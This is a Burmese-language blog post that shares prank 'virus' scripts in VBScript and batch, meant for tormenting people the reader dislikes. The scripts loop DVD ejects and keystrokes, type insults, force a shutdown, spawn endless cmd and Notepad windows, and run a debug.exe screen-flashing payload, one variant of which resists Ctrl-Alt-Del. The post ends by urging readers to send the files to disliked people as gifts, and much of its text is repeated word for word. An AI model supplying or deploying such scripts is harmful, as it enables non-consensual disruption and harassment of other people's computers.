ကဲ သူငယ္ခ်င္းတို႔ကို မိမိနဲ႔မ်က္နွာေႀကာမတဲ့တဲ့သူေတြကို နွိပ္စက္ဖို႔ နည္းေကာင္းေလးေတြရွယ္ေပးမယ္…
ကၽြန္ေတာ္လည္းအခုတေလာ ပ်င္းေနတာနဲ႔ ဟိုအရင္ေတြ ဘယ္အခ်ိန္ေလာက္က burn ထားတဲ့အေခြေတြ
လဲ မမွတ္မိေတာ့ပါဘူး…အဲဒီေခြေတြေလွ်ာက္ဖြရင္းေတြ႔မိလို႔.. ဘယ္ဆိုဒ္က ကူးထားလည္းဆိုတာလည္း
မမွတ္မိေတာ့ဘူး သက္ဆိုင္သူမူရင္းပိုင္ရွင္အေနနဲ႔ နားလည္ခြင့္လြတ္နိုင္မယ္လို႔ ေမ်ာ္လင့္ပါတယ္…
အခုကၽြန္ေတာ္ ေပးတဲ့နည္းေလးေတြကို သူငယ္ခ်င္းေတြကို ေနာက္ရံုပဲလုပ္ေစခ်င္ပါတယ္…….
ဘယ္လိုပဲျဖစ္ျဖစ္ နည္းပညာတစ္ခုကိုမွ်ေ၀တယ္လို႔ပဲသေဘာထားပါေနာ္…..ကဲစလိုက္ႀကရေအာင္….
ပထမဦးဆံုး မိမိစက္ Deskot လြတ္တဲ့ေနရာမွာ right click ေထာက္လိုက္ျပီး new> tex document
ေရြးခ်ယ္လိုက္ပါ…..တစ္နည္းအားျဖင့္ notepad ဖြင့္လိုက္တာေပါ့ဗ်ာ….
အဲဒီထဲမွာ အခုကၽြန္ေတာ္ေဖာ္ျပထားတဲ့ကုတ္ေတြကို ကူးထည့္ျပီး သပ္မွတ္ထားသလို save လုပ္ေပးပါ…
အဲဒီကေနရရွိလာတဲ့ဖိုင္ေလးေတြကို run ေပးလိုက္ေပါ့ဗ်ာ…ေပ်ာ္စရာ virus ေလးေတြအစြမ္းျပႀကပါလိမ့္မယ္….
DVD အဖုန္းကိုေတာက္ေလွ်ာက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေပးေသာကုတ္…
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
Vbs နဲ႔ save ဆိုတာက မိမိျပဳလုပ္လိုက္တဲ့ ဥပမာဗ်ာ ဒီဗိုင္းရပ္စ္ကို dvd လို႔နာမည္ေပးရင္ dvd.vbs လို႔နာမည္ေပးရမွာပါ…..ေအာက္က save as file type မွာေတာ့ all files ဆိုတာကိုေရြးေပးထားပါ…
အဲေလာက္ဆိုသေဘာေပါက္မွာပါ…..
2) Caps Lock ကိုဆက္တိုက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေနေသာကုတ္
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
3) ဒါေလးကသင့္ကြန္ျပဴတာကို မက္ေဆ့ ေပးျပီး shutdown က်သြားေစေသာကုတ္
code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" –s
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ
4) Enter key ကိုဆက္တိုက္ႏွိပ္ေေပးေနေသာကုတ္
code :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ.
5) CMD နဲ႕ Notepad ေတြရပ္မရေအာင္ဆက္တိုက္ဖြင့္တာေလးပါ။
code:
@echo off
:A
start cmd
start notepad
goto :A
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ..
6) Backspace တိုက္ပြင့္ေနမွာပါ။သင္စာရိုက္လို႕မရပါ။
code :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
7) သင့္ keyboard ေလးကိုဟက္ျပီး သင္ဟာအရူးဆိုျပီးသင္စာရိုက္တိုင္းေပၚေနမွာပါ။
code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
8. Notepad ကိုဆက္တိုက္ပြင့္ေနမွာပါ။
code:
@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ
10) Lighting .bat
သင့္ ေမာ္နီတာဟာဘာမွ မျမင္ရပဲ လင္းလက္ေနတဲ့ ဖန္သားျပင္ပဲျမင္ေနရမဲ့ကုတ္
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg
သင္ျပန္ထြက္ခ်င္ရင္ CTRL-ALT-DELETE နဲ႕ျပန္ထြက္လိုက္ပါ။
ေအာက္ကကုတ္ဆိုရင္ အဲဒါနဲ႕မရပါ။ctrl+shirt+esc နဲံ႕ရမယ္။
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg
goto a
အဲဒါေလးေတြကေတာ့ bat ဖိုင္နဲ႔ေဆ့ေပးရမယ္…
ဒါေလးကေတာ့ ေပ်ာ္စ၇ာ message Box ေလးလုပ္ဖို႔အတြက္
အရင္ဆံုး Notepad တစ္ခုကို ဖြင့္ၿပီး ေအာက္ကအတိုင္း ေရးလိုက္ပါ။
သေကၤတ:
msg = msgbox ("Do you like beer?" ,32+3, "Funny Message")
ၿပီးရင္ FileName.VBS နဲ ့ Save လိုက္ပါ။
အဲဒါေလးကို run လိုက္ရင္ မင္း ဘီယာႀကိဳက္သလားဆိုတဲ့ ? ေလးနဲ႔ message box ေလးက်လာပါလိမ့္မယ္…..
Do You Like beer ? ကေတာ့ ရိုက္လိုတဲ့ Message ပါ။ 32+3 ဆိုတာေတာ့ Message Box မွာ ပါရွိမဲ့ Icon ပံုေလးနဲ ့ Button
အတြက္ပါ။ Funny Message ကေတာ့ Message Box ရဲ့ Title ပါ။ အဲဒီေနရာေတြမွာ ရိုက္ခ်င္တာေလးေတြ ရိုက္ပါ။
ဒီေအာက္က bottom ေလးေတြနဲ႔ message box ပံုစံေလးေတြကို မိမိနွစ္သက္သလို လည္သလိုတြဲဖက္အသံုးျပဳလို႔ရပါတယ္…
Button ေတြနဲ ့ Icon ေတြအတြက္ နံပါတ္
ေတြကိုေတာ့ ေအာက္မွာ ၾကည့္ပါ။
0 - သူကေတာ့ OK Button တစ္ခုတည္းအတြက္ပါ။
1 - သူကေတာ့ OK နဲ ့ Cancel Button အတြက္ပါ။
2 - သူကေတာ့ Abort , Retry နဲ ့ Ingnore အတြက္ပါ။
3 - သူကေတာ့ Yes , No နဲ ့ Cancel Button အတြက္ပါ။
4 - သူကေတာ့ Yes နဲ ့ No အတြက္ပါ။
5 - သူကေတာ့ Retry နဲ ့ Cancel အတြက္ပါ။
16 - သူကေတာ့ Critical Message Icon အတြက္ပါ။
32 - သူကေတာ့ Warning Query Icon အတြက္ပါ။
48 - သူကေတာ့ Warning Message Icon အတြက္ပါ။
64 - သူကေတာ့ Information Icon အတြက္ပါ။
Icon နဲ ့ Button ကို အေပါင္းခံၿပီး ေရးႏိုင္ပါတယ္။
ကၽြန္ေတာ္လည္းအခုတေလာ ပ်င္းေနတာနဲ႔ ဟိုအရင္ေတြ ဘယ္အခ်ိန္ေလာက္က burn ထားတဲ့အေခြေတြ
လဲ မမွတ္မိေတာ့ပါဘူး…အဲဒီေခြေတြေလွ်ာက္ဖြရင္းေတြ႔မိလို႔.. ဘယ္ဆိုဒ္က ကူးထားလည္းဆိုတာလည္း
မမွတ္မိေတာ့ဘူး သက္ဆိုင္သူမူရင္းပိုင္ရွင္အေနနဲ႔ နားလည္ခြင့္လြတ္နိုင္မယ္လို႔ ေမ်ာ္လင့္ပါတယ္…
အခုကၽြန္ေတာ္ ေပးတဲ့နည္းေလးေတြကို သူငယ္ခ်င္းေတြကို ေနာက္ရံုပဲလုပ္ေစခ်င္ပါတယ္…….
ဘယ္လိုပဲျဖစ္ျဖစ္ နည္းပညာတစ္ခုကိုမွ်ေ၀တယ္လို႔ပဲသေဘာထားပါေနာ္…..ကဲစလိုက္ႀကရေအာင္….
ပထမဦးဆံုး မိမိစက္ Deskot လြတ္တဲ့ေနရာမွာ right click ေထာက္လိုက္ျပီး new> tex document
ေရြးခ်ယ္လိုက္ပါ…..တစ္နည္းအားျဖင့္ notepad ဖြင့္လိုက္တာေပါ့ဗ်ာ….
အဲဒီထဲမွာ အခုကၽြန္ေတာ္ေဖာ္ျပထားတဲ့ကုတ္ေတြကို ကူးထည့္ျပီး သပ္မွတ္ထားသလို save လုပ္ေပးပါ…
အဲဒီကေနရရွိလာတဲ့ဖိုင္ေလးေတြကို run ေပးလိုက္ေပါ့ဗ်ာ…ေပ်ာ္စရာ virus ေလးေတြအစြမ္းျပႀကပါလိမ့္မယ္….
DVD အဖုန္းကိုေတာက္ေလွ်ာက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေပးေသာကုတ္…
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
Vbs နဲ႔ save ဆိုတာက မိမိျပဳလုပ္လိုက္တဲ့ ဥပမာဗ်ာ ဒီဗိုင္းရပ္စ္ကို dvd လို႔နာမည္ေပးရင္ dvd.vbs လို႔နာမည္ေပးရမွာပါ…..ေအာက္က save as file type မွာေတာ့ all files ဆိုတာကိုေရြးေပးထားပါ…
အဲေလာက္ဆိုသေဘာေပါက္မွာပါ…..
2) Caps Lock ကိုဆက္တိုက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေနေသာကုတ္
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
3) ဒါေလးကသင့္ကြန္ျပဴတာကို မက္ေဆ့ ေပးျပီး shutdown က်သြားေစေသာကုတ္
code:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" –s
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ
4) Enter key ကိုဆက္တိုက္ႏွိပ္ေေပးေနေသာကုတ္
code :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ.
5) CMD နဲ႕ Notepad ေတြရပ္မရေအာင္ဆက္တိုက္ဖြင့္တာေလးပါ။
code:
@echo off
:A
start cmd
start notepad
goto :A
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ..
6) Backspace တိုက္ပြင့္ေနမွာပါ။သင္စာရိုက္လို႕မရပါ။
code :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
7) သင့္ keyboard ေလးကိုဟက္ျပီး သင္ဟာအရူးဆိုျပီးသင္စာရိုက္တိုင္းေပၚေနမွာပါ။
code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ
8. Notepad ကိုဆက္တိုက္ပြင့္ေနမွာပါ။
code:
@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ
10) Lighting .bat
သင့္ ေမာ္နီတာဟာဘာမွ မျမင္ရပဲ လင္းလက္ေနတဲ့ ဖန္သားျပင္ပဲျမင္ေနရမဲ့ကုတ္
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg
သင္ျပန္ထြက္ခ်င္ရင္ CTRL-ALT-DELETE နဲ႕ျပန္ထြက္လိုက္ပါ။
ေအာက္ကကုတ္ဆိုရင္ အဲဒါနဲ႕မရပါ။ctrl+shirt+esc နဲံ႕ရမယ္။
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>z.dbg
echo g=100>>z.dbg
echo q>>z.dbg
debug <z.dbg>nul
del z.dbg
goto a
အဲဒါေလးေတြကေတာ့ bat ဖိုင္နဲ႔ေဆ့ေပးရမယ္…
ဒါေလးကေတာ့ ေပ်ာ္စ၇ာ message Box ေလးလုပ္ဖို႔အတြက္
အရင္ဆံုး Notepad တစ္ခုကို ဖြင့္ၿပီး ေအာက္ကအတိုင္း ေရးလိုက္ပါ။
သေကၤတ:
msg = msgbox ("Do you like beer?" ,32+3, "Funny Message")
ၿပီးရင္ FileName.VBS နဲ ့ Save လိုက္ပါ။
အဲဒါေလးကို run လိုက္ရင္ မင္း ဘီယာႀကိဳက္သလားဆိုတဲ့ ? ေလးနဲ႔ message box ေလးက်လာပါလိမ့္မယ္…..
Do You Like beer ? ကေတာ့ ရိုက္လိုတဲ့ Message ပါ။ 32+3 ဆိုတာေတာ့ Message Box မွာ ပါရွိမဲ့ Icon ပံုေလးနဲ ့ Button
အတြက္ပါ။ Funny Message ကေတာ့ Message Box ရဲ့ Title ပါ။ အဲဒီေနရာေတြမွာ ရိုက္ခ်င္တာေလးေတြ ရိုက္ပါ။
ဒီေအာက္က bottom ေလးေတြနဲ႔ message box ပံုစံေလးေတြကို မိမိနွစ္သက္သလို လည္သလိုတြဲဖက္အသံုးျပဳလို႔ရပါတယ္…
Button ေတြနဲ ့ Icon ေတြအတြက္ နံပါတ္
ေတြကိုေတာ့ ေအာက္မွာ ၾကည့္ပါ။
0 - သူကေတာ့ OK Button တစ္ခုတည္းအတြက္ပါ။
1 - သူကေတာ့ OK နဲ ့ Cancel Button အတြက္ပါ။
2 - သူကေတာ့ Abort , Retry နဲ ့ Ingnore အတြက္ပါ။
3 - သူကေတာ့ Yes , No နဲ ့ Cancel Button အတြက္ပါ။
4 - သူကေတာ့ Yes နဲ ့ No အတြက္ပါ။
5 - သူကေတာ့ Retry နဲ ့ Cancel အတြက္ပါ။
16 - သူကေတာ့ Critical Message Icon အတြက္ပါ။
32 - သူကေတာ့ Warning Query Icon အတြက္ပါ။
48 - သူကေတာ့ Warning Message Icon အတြက္ပါ။
64 - သူကေတာ့ Information Icon အတြက္ပါ။
Icon နဲ ့ Button ကို အေပါင္းခံၿပီး ေရးႏိုင္ပါတယ္။
တစ္ကယ္လို႔ message box ထဲမွာ ျမန္မာလိုေပၚေစခ်င္တာဆိုရင္လည္း ျမန္မာလိုအစားထိုးေရးနိုင္ပါတယ္….
Notepad မွာျမန္မာလိုရိုက္ရေအာင္ေျပာင္းတာေတာ့သိႀကမွာပါေနာ္…ဒါေပမဲ့ ျမန္မာလိုေရးရင္ save လုပ္ရာမွာ
Encoding ဆိုတဲ့အကြက္မွာ unicode ဆိုတာကိုေရြးေပးထားရပါတယ္…..
ကဲ အျမန္ဆံုးလုပ္ျပီး အျမင္ကပ္သူမ်ားကို လက္ေဆာင္အျဖစ္ လည္သလိုပို႔ႀကေပေတာ့……..
source-ဧဒင္ဥယ်ာဥ္
source-ဧဒင္ဥယ်ာဥ္
